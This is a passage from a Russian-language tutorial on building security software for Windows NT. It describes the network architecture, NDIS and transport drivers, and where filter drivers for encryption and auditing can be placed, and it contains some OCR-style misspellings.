    В Windows NT есть встроенный провайдер телефонных сервисов юнимодема -unimdm.tsp (Unimodem Service Provider), взаимодействующий с драйвером модема modem.sys, и предоставляющий сервисы TAPI с большинством типов модемов. А также встроенный провайдер сервисов компонента интерфейса TAPI уровня ядра -kmddsp.tsp (TAPI kernel-mode service provider). Kmddsp.tsp предоставляет интерфейс провайдера телефонных сервисов (TSPI) и передает преобразованные пользовательские запросы драйверу ndistapi.sys, который и является компонентом интерфейса TAPI уровня ядра.

    TAPI также включает провайдеров сервиса среды (Media Service Providers, MSP), которые дают TAPI-приложению улучшенный, определяемый средой контроль над этой средой. Библиотека MSP, загруженная приложением, имеет соответствующий TSP в TAPI-сервере.

    Пользователь может инсталлировать любое количество провайдеров телефонных сервисов, если только они не будут обращаться к одному и тому же устройству одновременно. Пользователь ассоциирует устройство с провайдером сервиса при инсталляции.

    Некоторые провайдеры способны обращаться к нескольким устройствам. В некоторых случаях пользователю может понадобиться инсталлировать драйвер устройства вместе с провайдером.



    Типы NDIS драйверов

    Типы NDIS драйверов

    Спецификация NDIS определяет три типа сетевых драйверов:
  • драйверы протоколов верхнего уровня (upper level protocol drivers);

  • драйверы протоколов промежуточного уровня (intermediate protocol drivers);

  • драйверы сетевых карт (NIC drivers), сюда входят драйверы сетевых карт локальных сетей (NDIS LAN Miniport NIC drivers) и драйверы сетевых карт глобальных сетей (NDIS WAN Miniport NIC drivers).


  • Транспортные протоколы

    Транспортные протоколы

    Microsoft предоставляет следующие транспорты:
  • 1. NetBEUI и NetBEUI Frame (NBF) Транспортный протокол NetBEUI (Network Basic Input/Output System Extended User Interface) - является расширением канального уровня пользовательского интерфейса NetBIOS. Он является основным транспортным протоколом, используемым Windows NT для локальных сетей, и обеспечивающим взаимодействие с LAN Manager, LAN Server и MS-Net.

    Протокол NetBEUI обеспечивает наивысшую скорость работы, но из-за ряда присущих ему недостатков, таких как невозможность маршрутизации и сильная зашумленность в большой сети, NetBEUI можно эффективно использовать только в небольших локальных сетях (IBM разработала протокол NetBEUI для локальных сетей, содержащих порядка 20 - 200 рабочих станций). Так как NetBEUI не маршрутизируемый, то он не позволяет создавать глобальные сети, объединяя несколько локальных сетей. Сети, основанные на протоколе NetBEUI, легко реализуются, но их трудно расширять, так как протокол NetBEUI не маршрутизируемый.

    Протокол NetBEUI Frame (NBF) был создан на основе NetBEUI для преодоления некоторых его недостатков. В частности, NBF преодолевает предел количества систем - 254, существующий в NetBEUI.

    2. Транспорт TCP/IP (Transmission Control Protocol/Internet Protocol, TCP/IP). Он был разработан для поддержки сети Министерства Обороны США - ARPANET (Advanced Research Projects Agency's network), предшествующей Internet, и предназначен для соединения разнородных систем через глобальные сети. Протокол TCP/IP широко распространен в сетях UNIX и позволяет Windows NT взаимодействовать с различными сервисами на UNIX - машинах.

    Этот протокол быстро был адаптирован и для локальных сетей. В отличие от NetBEUI, который является запатентованным протоколом IBM и Microsoft, TCP/IP является общедоступным. Internet Engineering Task Force (IETF) координирует улучшения и расширения протокола TCP/IP через механизм, известный как Requests for Comments (RFCs). TCP/IP является надежным транспортом и очень гибким протоколом. TCP/IP можно использовать в локальных сетях небольшого масштаба, которые в дальнейшем можно легко расширить для вовлечения сотен и тысяч пользователей.

    Протокол TCP/IP требует больше знаний для его использования, так как каждая машина должна иметь уникальный IP адрес и маску подсети. Такие средства как DHCP, WINS доступны в ОС Windows NT для облегчения задачи администрирования сети. Самое важное преимущество протокола ТСРЛР перед NetBEUI то, что TCP/IP - маршрутизируемый протокол. Структура IP адресов специально разработана для эффективной маршрутизации.

    Транспорт ТСРЛР поддерживает множество компонент, реализующих сессионный уровень модели OSI, таких как NetBIOS, Winsock, RPC. ТСРЛР также является наиболее часто используемым протоколом при выполнении удаленного Доступа.

    В Windows 2000 существуют встроенные драйверы, интегрированные с драйвером протокола ТСРЛР, которые расширяют базовые сетевые характеристики протокола ТСРЛР, используя с ним закрытый интерфейс.

    Например, NAT-компонента (Network Address Translation) состоит из драйвера NAT, взаимодействующего со стеком ТСРЛР, а также редактора, используемого администратором для задания адресов. Другой пример - реализация IPSec (Internet Protocol security), включающая драйвер Ipsec.sys, интегрированный с драйвером протокола TCP/ IP. Агент политики получает информацию о конфигурации IPSec из Active Directory и передает информацию о фильтрации драйверу IPSec, а установки о безопасности модулю Internet Key Exchange. IKE-модуль ожидает запрос от драйвера IPSec и организует переговоры, возвращая результат обратно драйверу IPSec.

    3. NWLink (IPX/SPX). Протокол Internetwork Packet Exchange/Sequenced Packet Exchange (IPX/SPX) используется в ОС NetWare фирмы Novell. Реализация этого протокола фирмой Microsoft называется NWLink. IPX/SPX базируется на протоколе Xerox Network System (XNS), разработанном Xerox Corp. Протокол XNS, который больше не используется, определял коммуникационные уровни от физического до прикладного. Novell использовала часть этого стека, а именно два компонента: IDP (Internet Datagram Protocol) and SPP (Sequenced Packet Protocol). IPX (nwlnkipx.sys) базируется на IDP, SPX (nwlnkspx.sys) - на SPP.

    IPX/SPX - высокопроизводительный протокол для локальных сетей, и легче реализуется и администрируется, чем TCP/IP. Как и TCP/JP IPX/SPX является маршрутизируемым, и, следовательно, может использоваться для реализации глобальных сетей.

    В Windows NT существует также встроенный протокол NWLink NetBIOS (nwlnknb.sys), который предоставляет возможность пересылки Novell NetBIOS-пакетов между NetWare-сервером, исполняющим Novell NetBIOS, и Windows NT компьютером, или между двумя Windows NT компьютерами.

    4. AppIeTalk. Семейство сетевых протоколов AppleTalk было первоначально разработано для компьютеров Macintosh, однако уже вторая версия этого сетевого продукта позволяет взаимодействовать различным персональным компьютерам. В Windows NT он используется сервисами для Macintosh, которые позволяют пользователям Macintosh совместно использовать файлы формата Мае, хранящиеся в папках Windows NT сервера, и использовать принтеры, присоединенные к Windows NT серверу.

    5. Data Link Control (DLC). DLC - протокол фирмы IBM, используется как компонент архитектуры SNA (System Network Architecture) для связи с мейнфреймами. В некоторых локальных сетях DLC используется для связи с принтерами, присоединенными непосредственно к локальной сети, а не к серверу или рабочей станции. Некоторые лазерные принтеры Hewlett-Packard предлагают по выбору интерфейс DLC. Это «сырой» протокол в том смысле, что никакие сетевые API не могут его использовать , приложения, которые захотят его использовать должны взаимодействовать напрямую с драйвером транспорта DLC.

  • TDI-транспорты обычно реализуют все протоколы, связанные с их основным протоколом. Например, драйвер TCP/IP (tcpip.sys) реализует TCP, UDP, IP, ARP, ICMP, IGMP. TDI-транспорты обычно создают объекты-устройства, реализующие конкретный протокол так, чтобы клиенты могли открыть объект-файл, представляющий протокол, и выдать сетевой запрос ввода/вывода этому протоколу, используя IPR-пакеты. TCP/IP-драйвер создает три объекта-устройства, которые представляют различные протоколы: \Device\Tcp, \Device\Udp, \Device\Ip.




    Win32 API именованных каналов (named pipes) и почтовых ящиков (mailslots)

    Win32 API именованных каналов (named pipes) и почтовых ящиков (mailslots)

    Именованные каналы обеспечивают надежное двунаправленное взаимодействие между двумя процессами, независимо от того, является ли принимающая сторона локальной или удаленной. Почтовые ящики выполняют аналогичные функции, однако, вместо обеспечения канала «один к одному» между принимающей и передающей сторонами, они предоставляют ненадежную однонаправленную передачу данных типа «один ко многим» и «многие к одному». Почтовые ящики полезны для посылки широковещательных сообщений произвольному числу процессов.

    Именованные каналы предоставляют абстрактный и удобный сетевой интерфейс. Вместо того чтобы иметь дело с маршрутизацией и пересылкой данных, программист, использующий именованные каналы, может просто открыть канал и поместить в него данные. Пользователь именованного канала открывает его и считывает данные. Передача данных между компьютерами выполняется автоматически и один вызов именованного канала эквивалентен нескольким операциям на уровне транспорта.

    Все функции именованных каналов и почтовых ящиков реализованы в DLL клиентской части подсистемы Win32 - kernel32.dll (см. Рисунок 19). Однако имена, задаваемые приложениями, использующими именованные каналы и почтовые ящики, определяют системное пространство имен, управляемое драйвером файловой системы именованных каналов (Named Pipes File System, NPFS.sys) и драйвером файловой системы почтовых ящиков (Mail Slots File System, MSFS.sys). Драйвер файловой системы именованных каналов создает объект-устройство, называемое \Device\NamedPipe, и символическую ссылку к этому объекту, называемую \??\Pipe, а драйвер файловой системы почтовых ящиков создает объект-устройство, называемое \Device\Mailslot, и символическую ссылку \??\Mailslot, указывающую на этот объект. Имена, передаваемые функции CreateFile вида \Y\Pipe\.... и \V\Mailslot\...., имеют префикс \\.\, преобразуемый в \??\, так что имена разрешаются через символическую ссылку к объекту-устройству.

    Самоучитель по программированию систем защиты

    Анализ сетевой архитектуры ОС

    Анализ сетевой архитектуры ОС Windows NT с точки зрения возможностей реализации средств защиты и анализа сетевого трафика

    В этой главе будут проанализированы возможности реализации средств защиты сетевой информации на различных уровнях сетевой архитектуры Windows NT, начиная от уровня приложений и кончая уровнем драйверов устройств. Анализ будет проводиться со следующих позиций: существует ли возможность встраивания средства защиты на том или ином уровне сетевой архитектуры, сложность конкретной реализации с точки зрения ее недокументированности, прозрачность защиты, какие данные и в каком объеме будут контролироваться конкретным средством защиты, какое обслуживание со стороны ОС ему доступно и какие возможности предоставлены операционной системой средству защиты. В проведенном анализе не будет рассматриваться вопрос, может ли конкретный способ защиты быть подвержен воздействию со стороны злоумышленника.

    Не на всех уровнях сетевой архитектуры операционная система Windows NT предоставляет возможность встраивания дополнительных программных модулей, которые могли бы контролировать вызовы сетевых программных компонент этого уровня и реализовывать функции защиты. Для реализации защиты на этих уровнях приходится использовать недокументированные методы, к которым относятся реализации защиты на уровне системных сетевых DLL, сетевых сервисов и «родного» API. Эти методы представлены в общем виде в этой главе, для их разработки использовался программный продукт фирмы NuMega - Softlce - средство отладки, работающее ниже уровня ядра операционной системы и позволяющее отлаживать такие компоненты ядра, как драйверы. С помощью Softlce удалось исследовать некоторые важные структуры данных.

    Вначале будут рассмотрены основные факторы, влияющие на выбор конкретного способа реализации системы защиты.



    Драйверы - фильтры

    Драйверы - фильтры

    Система ввода/вывода Windows NT является расширяемой. Один из методов расширения возможностей системы ввода/вывода - разработка и применение драйверов-фильтров.

    Драйвер-фильтр - это промежуточный драйвер, перехватывающий запросы, предназначенные некоторым программным модулям (например, драйверу файловой системы или драйверу диска). Перехватив запрос, драйвер-фильтр имеет возможность либо расширения, либо замещения функциональности, обеспечиваемой первоначальным получателем запроса. Драйвер-фильтр может, либо использовать сервисы драйвера, которому изначально предназначался запрос, либо использовать сервисы других программных модулей уровня ядра для обеспечения дополнительной функциональности. Драйверы-фильтры могут встраиваться в любое место в стеке драйверов, их может быть несколько, в том числе расположенных подряд.

    Примером использования драйвера-фильтра может послужить реализация прозрачного зашифрования/расшифрования данных, хранимых на диске или в сети. Ни одна из поставляемых с ОС Windows NT файловых систем (FASTFAT, NTFS, CDFS, LAN Manager Redirector) не обеспечивает поддержки прозрачного зашифрования данных перед записью их на диск (или отправкой в сеть) и расшифрования данных перед предоставлением их авторизированному пользователю. Но для того, чтобы выполнять шифрование, необязательно реализовать свой собственный драйвер файловой системы или специальный драйвер диска. Достаточно разработать драйвер-фильтр, располагающийся либо выше драйвера файловой системы (в этом случае драйвер-фильтр сможет обработать запрос перед тем, как драйвер файловой системы получит возможность его увидеть), либо ниже драйвера файловой системы (этот случай позволяет драйверу-фильтру выполнить любые требуемые операции после того, как драйвер файловой системы завершит свою задачу, и перед тем, как запрос будет получен драйвером диска (или сетевым драйвером)).

    Драйвер-фильтр также может выполнять автоматическое обнаружение в реальном времени сигнатур вирусов в файлах (в том числе и файлах, полученных из сети). Фундаментальные шаги в разработке драйверов-фильтров:
  • Присоединение к нужному объекту-устройству. Диспетчер ввода/вывода включает возможность присоединения к объекту-устройству (1), созданному некоторым драйвером (1), объекта-устройства (2), созданного другим драйвером(2). В результате такого присоединения пакеты IRP, направленные драйверу (1), ассоциированному с объектом-устройством (1), будут перенаправляться драйверу (2), ассоциированному с присоединенным объектом-устройством (2). Этот «присоединенный» драйвер (2) и является драйвером-фильтром.

  • Каждый объект-устройство имеет поле, называемое AttachedDevice и содержащее указатель на объект-устройство, созданное драйвером-фильтром, который первым присоединил свое устройство. Если это поле содержит NULL, значит нет присоединенных устройств. В процессе присоединения нового объекта-устройства, процедура присоединения пройдет по связанному списку присоединенных устройств до конца и выполнит присоединение нового объекта-устройства к последнему объекту-устройству в этом списке. В результате, любой запрос на создание/открытие, предназначающийся некоторому объекту-устройству, будет перенаправляться последнему (в его списке присоединенных устройств) объекту-устройству. То есть последнему драйверу-фильтру, ассоциированному с последним объектом-устройством. Аналогично, при вызове функции, которая по имени объекта-устройства возвращает его указатель, будет возвращен указатель на объект-устройство, являющийся последним в списке присоединенных устройств.

    Но важно заметить, что диспетчер ввода/вывода проходит до конца списка присоединенных устройств не во всех случаях. Например, никакого перенаправления не будет, если будет вызвана функция IoCallDriver(). Следовательно, чтобы обращение к драйверу назначения не миновало драйвер-фильтр, этот драйвер-фильтр должен присоединить свой объект-устройство к объекту-устройству драйвера-назначения, прежде, чем вышележащий драйвер вызовет процедуру определения указателя нижележащего объекта-устройства по его имени (это делается во время запроса на открытие), а затем будет использовать этот указатель (в частности при вызове функции IoCallDriver()).
  • Драйвер-фильтр может исследовать, модифицировать, завершать, или передавать дальше полученный пакет запроса драйверу назначения. Для того чтобы передать драйверу назначения полученный запрос, драйвер-фильтр должен создать собственный пакет IRP.

  • Драйвер-фильтр должен реализовать завершающие процедуры для завершения обработки IRP, после того, как IRP завершит драйвер назначения.

  • Отсоединение от объекта-устройства назначения.

  • Ниже рассмотрены основные принципы, которых необходимо придерживаться при разработке драйвера-фильтра, а также недостатки, из-за которых применение драйверов-фильтров становится нежелательным:
  • 1. Разработчик драйвера-фильтра должен четко знать, как работает драйвер, создавший устройство, к которому будет присоединяться его драйвер. Драйвер-фильтр должен уметь обрабатывать все получаемые им запросы, адресованные на самом деле первоначальному драйверу, к которому он присоединился.

  • Несмотря на то, что все драйверы должны отвечать на стандартное множество запросов, выдаваемых менеджером ввода/вывода, в реальности, в случае разработки собственного драйвера-фильтра, нужно знать очень тонкие взаимосвязи, которые проявляются в зависимости от того, на каком уровне иерархии находится драйвер-фильтр. Возможны случаи, когда драйвер одной файловой системы запрашивает сервисы у драйвера другой файловой системы, или когда промежуточный драйвер запрашивает сервисы вышележащего драйвера файловой системы.

    Например, в случае фильтрации всех запросов, предназначенных некоторому логическому тому, управляемому драйвером файловой системы (NTFS), необходимо понимать всевозможные пути вовлечения драйвера NTFS в обработку запроса, так как во всех этих случаях будут вовлекаться процедуры распределения драйвера-фильтра. Процедуры обработки запроса на чтения/запись драйвера файловой системы могут вовлекаться несколькими путями, например: из потока режима ядра, вызвавшего системные сервисы ZwReadFile(), ZwWriteFile(); из потока пользовательского режима, вызвавшего системные сервисы NtReadFile(), NtWriteFile(); из диспетчера памяти из-за обращения к отсутствующей странице спроецированного файла; из диспетчера кэша в результате асинхронного сброса буферов диспетчера кэша на диск; и так далее.

    В некоторых ситуациях может быть приемлемым то, что драйвер - фильтр отправляет запрос ввода/вывода на асинхронное выполнение, но в других ситуациях (например, при обслуживании обращения к отсутствующей странице) драйвер-фильтр не должен этого делать, иначе это приведет к взаимной блокировке или зависанию.

    В случае, когда драйвер-фильтр привязывается к объекту-устройству нижнего уровня (например, к устройству, представляющему физический диск), то возникают другие проблемы, с которыми сталкивается подобный драйвер-фильтр. Например, пакеты IRP, посланные драйверу диска, могут быть чаще всего ассоциированными пакетами, созданными драйвером файловой системы, и поэтому драйвер-фильтр не должен пытаться в свою очередь создавать ассоциированные пакеты. Обычно от драйверов дисков ожидают, что они будут выполнять операции асинхронно, поэтому драйвер-фильтр должен удовлетворять этим ожиданиям.
  • 2. Драйвер-фильтр должен корректно работать с другими возможными драйверами-фильтрами, присоединенными до или после него. Никогда нельзя полагаться на то, что запрос, выпущенный драйвером-фильтром, пойдет напрямую нужному драйверу, так как он может быть перехвачен другим драйвером-фильтром.

  • 3. Драйвер-фильтр должен знать, к чему он привязывается. Например, может получиться так, что когда драйвер-фильтр попытается привязаться к объекту-устройству, представляющему логический том файловой системы, он в действительности привяжется к объекту-устройству, представляющему физический диск, если том еще не был вмонтирован.

  • 4. Драйвер-фильтр должен избегать поддержки ненужных ссылок. Если по небрежности драйвер-фильтр поддерживает лишнюю ссылку на объект-устройство назначения, то, возможно, что это будет препятствовать всем дальнейшим запросам на открытие и выполнение операций над этим устройством.

  • 5. Драйвер-фильтр должен следить за контекстом потока, в котором выполняется его процедура распределения. В первую очередь это касается запросов ввода/ вывода к драйверам файловых систем, так как эти запросы должны передаваться в контексте потока, инициировавшего запрос, поэтому если драйвер-фильтр вызвал переключение контекста, например, послав запрос на исполнение рабочему потоку, то дальнейшая обработка этого запроса драйвером файловой системы приведет к непредсказуемым последствиям.

  • На всех уровнях, которые будут обсуждаться в дальнейшем, возможны реализация и применение драйверов-фильтров.



    Используемые средства построения

    Используемые средства построения объединенных сетей и их влияние на уровень расположения средства защиты (согласно модели OSI)

    В качестве средства наращивания и интеграции сетей может использоваться:
  • 1. Повторитель или концентратор. Устройство, которое передает электрические сигналы из одного кабеля в другой без маршрутизации или фильтрации пакетов и служит для наращивания однотипных сетей. В терминах OSI повторитель представляет собой промежуточное устройство физического уровня.

    2. Мост. Устройство, соединяющее две или несколько физических сетей. Мосты могут фильтровать пакеты, то есть передавать в другие сегменты или сети только часть трафика на основе информации канального уровня (MAC - адреса), В терминологии OSI мост является промежуточной системой на уровне канала передачи данных.

    3. Маршрутизатор. Функционирует на сетевом уровне эталонной модели OSI и служит для организации связи между сетями с одинаковыми сетевыми протоколами. Маршрутизатор принимает решение о передаче пакетов на основе различных критериев, основанных на информации сетевого уровня. Для передачи пакетов их адресатам оптимальным образом маршрутизатор использует протоколы маршрутизации, например RIP.

    4. Шлюз. Обеспечивает взаимодействие систем и сетей, которые используют несовместимые протоколы. Предназначен для сопряжения локальных сетей с сетями других архитектур типа SNA, DNA, X.400. Работает на самом верхнем уровне стека протоколов.

  • Проблем с использованием средства построения объединенных сетей не возникнет, если это средство реализует межсетевое взаимодействие, используя уровни модели OSI, расположенные ниже уровня, на котором реализован модуль защиты. Если же средство построения объединенных сетей реализует межсетевое взаимодействие, используя уровни модели OSI, расположенные как ниже, так и выше уровня реализации модуля защиты, то необходимо рассмотреть следующее условие — можно ли в это средство встроить модуль защиты:
  • Если можно, то после встраивания модуля защиты, средство построения объединенных сетей не повлияет на работу сети, в которой используется данный модуль защиты.

  • Если нельзя, тогда модуль защиты должен обладать функциональностью тех уровней, которые участвовали в переформировании пакетов в средстве межсетевого взаимодействия.

  • Для иллюстрации этого случая рассмотрим пример реализации модуля, осуществляющего шифрование сетевых данных. Если модуль защиты располагается ниже сетевого уровня, то надо предусмотреть случай фрагментации пакета. То есть, если средство построения объединенных сетей разобьет зашифрованный пакет, принятый от системы-отправителя, использующего этот модуль защиты, то модуль защиты в системе-получателе должен уметь собрать фрагментированный пакет (реализовать функции сетевого уровня) и выполнить его расшифрование.



    Объем информации, проходящей через средство защиты

    Объем информации, проходящей через средство защиты

    От расположения средства защиты относительно иерархии сетевых компонентов, зависит количество проходящих через это средство данных, и, следовательно, возмож-

    ность контроля и защиты этих данных. Чем выше уровень реализации средства защиты, тем меньше объем данных, проходящих через него (смотри Рисунок 25 и 26, где представлена обобщенная сетевая архитектура ОС Windows NT).

    Для иллюстрации этого принципа рассмотрим следующий пример. Если разработан драйвер транспорта с функциями шифрования, то надо учитывать, что процессам зашифрования и расшифрования будут подвергаться только те данные, для которых драйверы файловых систем выбирают именно этот транспорт. В данном случае можно повлиять на объем проходящих данных через собственный драйвер транспорта, удалив из системы все другие транспорты законными методами, используя, например, NCPA (Network Control Panel Application).

    Но, к сожалению, не во всех случаях возможно такое простое изменение конфигурации ОС. Например, если защита осуществляется на уровне API Windows Sockets, то удалить API NetBIOS законными методами не удастся, а простое удаление библиотеки динамической загрузки, реализующей интерфейс NetBIOS, приведет к невозможности работы приложений, использующих это API.

    Поэтому наиболее естественным, и не требующим дополнительного конфигурирования способом защиты относительно этого фактора является защита на уровне драйверов сетевых карт (или на уровне промежуточного драйвера, привязанного снизу к драйверам сетевых карт). Но тогда появятся проблемы относительно реализации в этих драйверах функциональности, не свойственной уровню модели OSI, на котором они располагаются.

    К сожалению, эти два фактора: объем проходящих данных и необходимость реализации дополнительной функциональности, вступают в противоречие в сетевой архитектуре операционной системе Windows NT из-за ее послойной модели.





    Особенности реализации NDIS-драйвeров

    Особенности реализации NDIS-драйвeров

    Среда NDIS и NDIS-драйверы ранее уже описывались в разделе «Среда NDIS и NDIS драйверы». Хотя по требованиям переносимости NDIS-драйвер должен пользоваться только функциями, экспортируемыми средой NDIS, в реальных приложениях ничто не запрещает использовать функции ядра той ОС, под которую реализуется этот драйвер.

    Переносимость и поддержка многопроцессорности. Драйвер должен быть написан на C/C++, причем необходимый формат результирующего файла может быть сгенерирован только компиляторами фирмы Microsoft. Драйвер должен избегать любой зависимости от типов данных, чей размер различается между платформами. Драйвер не должен вызывать никаких функций стандартных библиотек С, кроме функций обеспечиваемых NDIS. В режиме ядра не разрешены никакие операции с плавающей точкой.

    В многопроцессорной среде процессоры одновременно выполняют несколько машинных инструкций. И поэтому драйвер должен синхронизировать доступ к общим структурам данных, чтобы в то время, когда одна функция драйвера обрабатывала общие данные, другая функция (или та же самая), исполняемая на другом процессоре, не попыталась изменить общие данные в тот же момент времени. Чтобы исключить эту проблему драйверы используют спин-блокировки.

    Уровни IRQL исполнения функций драйвера. Любая функция драйвера, вызываемая NDIS, исполняется с уровнем приоритета, определяемым операционной системой, и варьирующимся между PASSIVEJLEVEL < DISPATCH_ LEVEL < DIRQL. Например, функция инициализации минипорта, функции останова, сброса и закрытия обычно исполняются с приоритетом PASSIVE_ LEVEL. Все другие функции NDIS-драйвера исполняются на уровне IRQL меньшем или равном DISPATCHJLEVEL. Промежуточный NDIS-драйвер или драйвер протокола никогда не исполняются на уровне DIRQL.

    Уровень приоритета потока драйвера влияет на то, какие функции NDIS библиотеки он может вызывать. Некоторые функции могут вызываться только, если уровень приоритета PASSIVE_LEVEL, другие - если DISPATCH_LEVEL или ниже.

    Выгружаемый и уничтожаемый код драйвера. Функции драйвера, которые всегда выполняются с уровнем приоритета PASSIVE_LEVEL, могут быть помечены как pageable (выгружаемые), используя макрос NDIS_PAGEABLE_ FUNCTION. При разработке драйверов поощряется помечать код как выгружаемый где это возможно, освобождая тем самым системную область памяти для кода, который должен быть резидентным. Функция драйвера, которая исполняется с приоритетом PASSIVEJLEVEL, может быть помечена как выгружаемая, если она сама не вызывает или ее не вызывает любая функция, которая исполняется с приоритетом большим или равным DISPATCH_LEVEL. (Например, если она не вызывает функцию, которая захватывает спин-блокировку, так как ее захват вызывает повышение уровня приоритета захватывающего потока до уровня DISPATCH_LEVEL).

    Функция DriverEntry промежуточного драйвера должна быть определена как функция инициализации, используя макрос NDIS_INIT_FUNCTION. Предполагается, что код, помеченный этим макросом, исполняется только один раз во время инициализации системы, в результате чего он присутствует в оперативной памяти только в это время. После того как функция DriverEntry вернет управление, код, помеченный как NDIS_INIT_FUNCTION, уничтожается из оперативной памяти.

    Сериализация вызовов функций. Среда NDIS обеспечивает сериализацию вызовов точек входа NDIS-драйверов, но при этом существует исключение. Начиная с некоторых версий ОС, появилось понятие десериализованного минипорта, где по требованиям производительности полнодуплексного обмена данными, реализация сери-ализации передачи пакетов протоколам возложена на разработчика минипорта.




    реализации драйвера шифрования

    Пример реализации драйвера шифрования сетевых пакетов
    В качестве основы драйвера, шифрующего сетевые пакеты, может быть использован пример промежуточного драйвера ImSamp с сервера Microsoft (для NT 4.0) или промежуточный драйвер Passthru из DDK (NtDDK\src\network\ ndis\passthru, для Win2000). Этот NDIS-драйвер промежуточного уровня разработан так, чтобы располагаться между транспортным драйвером и драйвером сетевой карты (Рисунок 30). Единственное что он делает - это получает пакеты от драйвера сетевой карты и передает их драйверу транспорта, и наоборот.

    Используя Network Control Panel Application (NCPA), можно привязать протокол TCP/IP к виртуальному адаптеру, создаваемому драйвером ImSamp, а все остальные привязки заблокировать. Для драйвера ТСР/IP промежуточный драйвер ImSamp выглядит как драйвер виртуальной сетевой карты. А для реальной сетевой карты Ethernet драйвер ImSamp выглядит как драйвер протокола.

    Если разрабатываемый драйвер шифрования не реализует функции сетевого уровня модели OSI, то его нельзя будет использоваться в сети, где в качестве средств построения объединенных сетей используются маршрутизаторы, работающие на сетевом уровне. Так как такой драйвер не рассчитан на то, что выпущенный зашифрованный пакет может быть фрагментирован, поэтому его можно использовать только в сегменте сети до маршрутизаторов.


    Реализация защиты на уровне драйвера MUP

    Реализация защиты на уровне драйвера MUP

    Как уже отмечалось ранее, драйвер mup.sys вовлекается при попытке достижения удаленных разделяемых ресурсов, используя UNC имена. Этот компонент во взаимодействии с сетевыми редиректорами отвечает за интеграцию пространства имен удаленных файловых систем в локальное пространство имен. Этот драйвер является простейшим драйвером файловой системы.

    После запроса на создание/открытие файла по имени UNC драйвер mup.sys уже не вовлекается в обработку дальнейших запросов к этому файлу. То есть через драйвер mup.sys данные пользователя не проходят, но этот драйвер играет важную роль при открытии файлов и устройств по имени UNC. В связи с этим стоит рассмотреть возможность регистрации и аудита открытия файлов и устройств с помощью драйвера-фильтра, присоединенного к драйверу mup.sys. Так как драйвер mup.sys, является довольно простым драйвером, то реализация драйвера-фильтра в данном случае допустима.




    Реализация защиты на уровне драйверов файловых систем

    Реализация защиты на уровне драйверов файловых систем

    Драйвер файловой системы обеспечивает пользователям механизм хранения и получения информации, реализуя возможности по созданию, модификации, удалению, разделению файлов и идентификации файлов по их символическим/логическим именам. В дополнение к этим функциям сетевые файловые системы обеспечивают в той или иной степени прозрачность местоположения файлов в сети и мобильность файлов. Файловые системы бывают разных типов, например: локальные файловые системы (FASTFAT, NTFS); сетевые и распределенные файловые системы (редиректор + сервер); псевдофайловые системы, предоставляющие пользователю интерфейс, подобный интерфейсу файловых систем, но реализующие особую функциональность, отличную от традиционных задач хранения и предоставления данных с диска, к ним относятся файловые системы, реализующие механизм межпроцессной коммуникации (NPFS-файловая система именованных каналов и MSFS-файловая система почтовых ящиков).

    В принципе, ОС Windows NT предоставляет стандартный механизм для перехвата всех запросов ввода/вывода к драйверу файловой системы - это описанный выше механизм использования драйверов - фильтров. Для реализации этого механизма можно воспользоваться книгой автора Rajeev Negar «Windows NT File System Internals: A Developer's Guide», которая посвящена разработке драйверов файловых систем, и затрагивает вопрос реализации и драйверов-фильтров.

    Основным недостатком, мешающим реализации защиты на уровне драйверов файловых систем, в том числе и реализации драйверов-фильтров, является закрытость и недокументированность интерфейса с этими драйверами. Microsoft неохотно поддерживает разработку драйверов файловых систем. В MSDN разработка драйверов файловых систем не документирована. И все же в 1997 году Microsoft выпустила документацию WinNT IFS Kit, необходимую для разработки драйверов файловых систем, и содержащую требуемые заголовочные файлы для успешной компиляции драйверов файловых систем с помощью компилятора Microsoft Visual C++, а также примеры простейших файловых систем. Но это средство разработки дорого стоит (1000$). Из-за этого многие запросы к драйверам файловых систем остаются загадкой, и поэтому применение драйверов-фильтров, в данном случае, скорее всего, приведет к некорректной работе стека драйверов.

    В дополнение к вышеперечисленным трудностям надо учитывать и то, что многие части сетевых служб (почему-то имея тип драйверов файловых систем) на самом деле не предоставляют интерфейса, характерного драйверам файловых систем, что выясняется из анализа реализуемых ими процедур распределения.

    Согласно реестру Windows NT почти все части сетевых служб, исполняющихся в режиме ядра, являются драйверами файловых систем, а именно: встроенный сетевой редиректор frdr.sys) и сервер (srv.sys), файловая система именованных каналов (npfs.sys), файловая система почтовых ящиков (msfs.sys), эмулятор интерфейса NetBIOS

    (netbios.sys). Только эмулятор интерфейса WinSock (afd.sys) имеет тип стандартного драйвера. (Все эти вышеперечисленные драйверы являются TDI-клиентами и предоставляют в своей нижней части интерфейс TDI.)

    Но далеко не все из этих драйверов действительно реализуют в своей верхней части интерфейс драйвера файловой системы. Например, драйвер srv.sys, который отвечает на запросы, посылаемые редиректором с удаленной машины, и взаимодействует с локальной файловой системой, не нуждается в предоставлении интерфейса файловой системы. Аналогично, драйвер netbios.sys не предоставляет интерфейс файловой системы, так как он является частью эмулятора сетевого интерфейса NetBIOS и взаимодействует с соответствующей DLL для преобразования «родных» функций этого интерфейса, вызываемых приложениями, в TDI-функции для вызова драйверов транспортов. Драйвер netbios.sys имеет только одну процедуру распределения для пакетов всего четырех типов IRP_MJ_CREATE, IRP_MJ_CLOSE, IRP_MJ_DEVICE_ CONTROL, IRP_MJ_CLEANUP, в то время как драйвер файловой системы должен обрабатывать гораздо большее число специфичных для него типов пакетов. Возможно, что это обстоятельство облегчит разработку драйвера-фильтра к нему. Чего нельзя сказать, о драйверах srv.sys и afd.sys, которые регистрируют одну процедуру распределения для всевозможных типов пакетов IRP, поэтому потребуется более детальное исследование того, какие из этих пакетов они действительно обрабатывают, а для каких просто имеют заглушки.

    Архитектура Windows NT позволяет инсталлировать собственные драйверы файловых систем, это сделано специально для того, чтобы ОС Windows NT обладала способностью подключения к разнообразным сетям. Поэтому возможна разработка собственного редиректора, который сможет заменить встроенный и реализовывать функции защиты (при этом надо выгрузить встроенный редиректор и сервер).

    Если разрабатывается собственный редиректор, который будет единственным в системе, то нужно также разработать и DLL сетевого провайдера (DLL компонента сетевого доступа), позволив тем самым приложениям использовать сетевой интерфейс API Win32 (WNet) для запроса сервисов от этого редиректора. Если редиректор выполняется одновременно со встроенным, то соответствующую ему библиотеку DLL провайдера можно не реализовывать, тогда запросы по интерфейсу API WNet через собственный редиректор не пойдут, а пойдут только запросы по стандартному интерфейсу API ввода/вывода через драйвер mup.sys.

    Чтобы зарегистрировать DLL сетевого провайдера для MPR (предоставляющего API WNet), нужно изменить реестр. Порядок, в котором вовлекаются DLL провайдеров, зависит от порядка, в котором перечислены эти провайдеры в реестре. MPR изучает содержимое следующего ключа реестра, чтобы определить какие DLL провайдеров существуют в системе и порядок, в котором они будут вовлекаться:

